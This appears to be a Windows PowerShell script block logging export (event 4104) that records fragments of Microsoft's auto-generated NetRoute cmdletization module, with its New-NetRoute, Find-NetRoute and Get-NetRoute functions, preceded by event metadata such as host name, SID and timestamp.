Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1814 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c2ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
oundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Publish')) {
[object]$__cmdletization_value = ${Publish}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouteMetric')) {
[object]$__cmdletization_value = ${RouteMetric}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Protocol')) {
[object]$__cmdletization_value = ${Protocol}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdletization_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetRoute.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetRoute' -Alias '*'
function Find-NetRoute
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])]
param(
[Parameter(ParameterSetName='Find0')]
[uint32]
${InterfaceIndex},
[Parameter(ParameterSetName='Find0')]
[string]
${LocalIPAddress},
[Parameter(ParameterSetName='Find0', Mandatory=$true)]
[string]
${RemoteIPAddress},
[Parameter(ParameterSetName='Find0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Find0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Find0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceIndex')) {
[object]$__cmdletization_value = ${InterfaceIndex}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LocalIPAddress')) {
[object]$__cmdletization_value = ${LocalIPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalIPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalIPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RemoteIPAddress')) {
[object]$__cmdletization_value = ${RemoteIPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemoteIPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemoteIPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Find', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetRoute.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Find-NetRoute' -Alias '*'
function Get-NetRoute
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetRoute')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${DestinationPrefix},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${NextHop},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish[]]
${Publish},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RouteMetric},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol[]]
${Protocol},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${CompartmentId},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[timespan[]]
${ValidLifetime},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[timespan[]]
${PreferredLifetime},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPInterface},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DestinationPrefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DestinationPrefix})
$__cmdletization_queryBuilder.FilterByProperty('DestinationPrefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('NextHop') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NextHop})
$__cmdletization_queryBuilder.FilterByProperty('NextHop', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Publish') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Publish})
$__cmdletization_queryBuilder.FilterByProperty('Publish', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RouteMetric') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RouteMetric})
$__cmdletization_queryBuilder.FilterByProperty('RouteMetric', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Protocol') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
ScriptBlock ID: d9feeec4-80a3-49d6-9109-bf7154d3ee3f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1813 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c2ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetRoute'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetRoute
{
[CmdletBinding(DefaultParameterSetName='ByInterfaceAlias', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType([Microsoft.Management.Infrastructure.CimInstance[]])]
param(
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, Position=0)]
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, Position=0)]
[string]
${DestinationPrefix},
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[string]
${InterfaceAlias},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily]
${AddressFamily},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${NextHop},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish]
${Publish},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[uint16]
${RouteMetric},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol]
${Protocol},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[timespan]
${ValidLifetime},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[timespan]
${PreferredLifetime},
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[uint32]
${InterfaceIndex},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByInterfaceAlias') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DestinationPrefix')) {
[object]$__cmdletization_value = ${DestinationPrefix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceAlias')) {
[object]$__cmdletization_value = ${InterfaceAlias}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NextHop')) {
[object]$__cmdletization_value = ${NextHop}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NextHop'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NextHop'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Publish')) {
[object]$__cmdletization_value = ${Publish}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouteMetric')) {
[object]$__cmdletization_value = ${RouteMetric}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Protocol')) {
[object]$__cmdletization_value = ${Protocol}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdletization_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
